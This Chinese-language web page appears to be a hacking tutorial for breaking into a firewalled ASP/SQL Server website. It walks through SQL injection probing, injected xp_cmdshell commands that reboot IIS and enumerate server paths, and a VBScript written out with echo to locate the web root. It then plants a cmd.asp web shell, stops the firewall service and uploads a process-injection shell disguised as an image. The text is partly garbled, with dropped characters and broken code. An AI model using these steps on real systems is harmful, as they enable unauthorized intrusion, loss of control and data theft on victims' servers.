sql注入漏洞:ASP漏洞+SQL注入的入侵思路方法

首先当然是用扫描器对这台服务器(以下简称主机A)进行常规扫描得到初步信息再用nmap -sS IP -P0 -p
139 透过防火墙查看是否开有139端口从上面得到信息我们可以简单判断到:主机A系统是什么装有防火墙
般是只允许80端口开放如果能够泄漏asp源文件当然是最好不过但是般难得遇到如果主机A有
show files的类CGI漏洞我们就可以试着看能不能从conn.inc等可能存放密码文件得到有用信息

然后就要进入重点了寻找突破口由于主机A装有防火墙所以就算其有其他溢出漏洞都将会导致我们不到shell
(U漏洞就不讲了)在这种情况下般容易找到突破口地方就是主机A上新闻发布系统、论坛、聊天室在这 3个
地方里最容易出毛病地方不少人都认为是论坛但是我在网上看到大部分相关文章中发现漏洞地方都是新闻发布
系统

好了让我们先来试试看在新闻发布系统*.asp后面加上单引号'再提交返回:
Microsoft OLE DB Provider for ODBC Drivers (0x80040E14)
/mingce/student1.asp, 第 26 行
或者是页面正常但不能够显示新闻列表这样看来就有机会了再让我们将单引号改为分号;提交后如果能够
正常返回页面介绍说明这个asp没有过滤分号只要满足这两个条件我们就可以有戏看了为了跟进确定主机A到底
是否有sql注入毛病我们可以使用下面两种思路方法简单测试下:xp_cmdshell 'iisre /reboot'或是xp_cmdshell 'ping 你..I.P',如果第个命令能执行成功那么在半分钟的内远程系统会重启第 2个命令你自
机子防火墙通常会提示来至x.x.x.x主机向你发送ICMP数据,不过对于这种禁止任何数据出主机第 2个命令可能
也不行

现在我们将要想个办法获得shell了利用xp_cmdshell我们可以直接添加系统账户如果主机A没有防火墙再用IPC
种植者的类工具就可以得到shell了但是主机A是装有防火墙所以我们首先考虑得到web shell 就算权限低
都没有关系

思路:
1)找到web目录路径
2)用echo(也可利用sql表单)写入个简单cmd.asp用来找到防火墙具体名字等操作
3)通过xp_cmdshell来关闭防火墙服务

要找到web目录路径在我看来有 3种思路方法:猜!什么c:\Inetpub\wwwroot c:\wwwroot c:\www 的类 2
主机A上可能有其他ASP文件在提交非正常变量后会暴露其绝对路径还可以试试1'or'1那个著名漏洞 3是czy82
思路方法(以下是转贴):

********************************************************************
使用adsutil.vbs我是这样执行
a';exec master..xp_cmdshell 'cmd /c cscript c:\inetpub\adminscrips\adsutil.vbs enum w3svc/1/root>a.txt';--
是不是很长啦:)通过它我们可以把iis里面第个虚拟web站点设置情况(当然包括它所在实际目录咯)导入到a.txt

对于a.txt实际位置默认当然是c:\winnt\system32,其实这都不是问题不过遇到管理员把adsutil.vbs删了或是放到
地方我们就没办法了(不可能自已用echo 命令写个吧)

第 2步:用echo命令写下面代码到c:\中,很多吗也不算吧:)

.....xp_cmdshell 'echo fso1=createobject("scripting.filesystemobject")>c:\read.vbs';--
.....xp_cmdshell 'echo Set WshShell = Wscript.CreateObject("Wscript.Shell")>>c:\read.vbs';--
.....
-------------------read.vbs---------------------------------
fso1=createobject("scripting.filesystemobject")
Set WshShell = Wscript.CreateObject("Wscript.Shell")
spa=WshShell.Environment("process")("windir")
fil =fso1.opentextfile(spa & "\system32\aa.txt")
do while not fil.atendofstream
nr=fil.readline
left(nr,4)="Path" then
pa=mid(nr,instr(nr,")")+3,len(nr)-instr(nr,")")-3)
exit do
end
loop
fil1 =fso1.opentextfile(pa&"\dd.asp",2,true)
fil1.writeline "<%response.write request.servervariables(""APPL_PHYSICAL_PATH"")%>"
---------------cut here--------------------------------------

第 3步:当然就是执行read.vbs 3,这样我们可以把aa.txt中内容读出来找到web站点实际路径
然后写个叫dd.asp文件在web站根目录中,能否成功试试就知道咯
执行http://x.x.x.x/dd.asp
返回:d:\xxx

看来我运气就是不错哈(其实有个问题是我们找个web站点可能并不能通过x.x.x.x来仿问)
********************************************************************

这样就可以得到web目录路径然后用echo 写个cmd.asp到其目录下这样我们就可以得到个web shell了
有了这个shell我们可以使用net start查看开有哪些服务或是查看主机A开始菜单得到主机A所使用防火
墙名字在通过xp_cmdshell将其关闭比如a';exec master..xp_cmdshell 'net stop smcservice';--
(smcservice是sygate防火墙服务名)

上面讲大部分都出自于czy82发表只开80端口主机入侵思路(实战,原创)而我自己也想了当我们得
到web shell后我们完全可以上传系统进程插入式SHELL(比如InjShell.exe)然后再用xp_cmdshell执行这个后
就可以透过防火墙来了至于怎样上传文件般去论坛部分找找回有不小收获比如将要上传文件改为.jpg文
件名用于论坛头像上传等思路方法

上面讲了很多你可能没有看出入侵重点我这里提出来:
1.找到存在sql注入毛病asp文件主要是看他是否过滤了引号和分号
2.找到网站WebSiteweb绝对路径除文中提到了 3种思路方法外你还可以试着在1433里面将sa该密码再回头asp文件
般会出现并暴露绝对路径
3.得到web shell后最好是要能够找到种上传文件到主机上去思路方法从而更快得到有权限shell

另外在讲讲论坛和聊天室部分可以先试着用google搜索主机上使用论坛论坛(或聊天室)将论坛管理员
码明文保存在文件中这样就可以直接用浏览器访问这个文件了或者试试将show.asp?id=7的类asp文件改动ID后
数7并提交看能不能得到有用信息实在不行还可以试试用跨站脚本攻击如果是雷奥、动网的类有名
这可以尝试着找找有没有新漏洞报告的类

总的个网站WebSite要做面墙入侵者要做就是在这堵墙上找缝隙钻进去相比较而言那个容易就不用我讲了
不找得到就是看我们技术水平问题了 



  • 篇文章: DDOS手工清除

  • 篇文章: 跨站脚本执行漏洞详解
  • Tags:  什么是sql注入漏洞 asp漏洞注入软件 asp注入漏洞 sql注入漏洞

    延伸阅读

    最新评论

    发表评论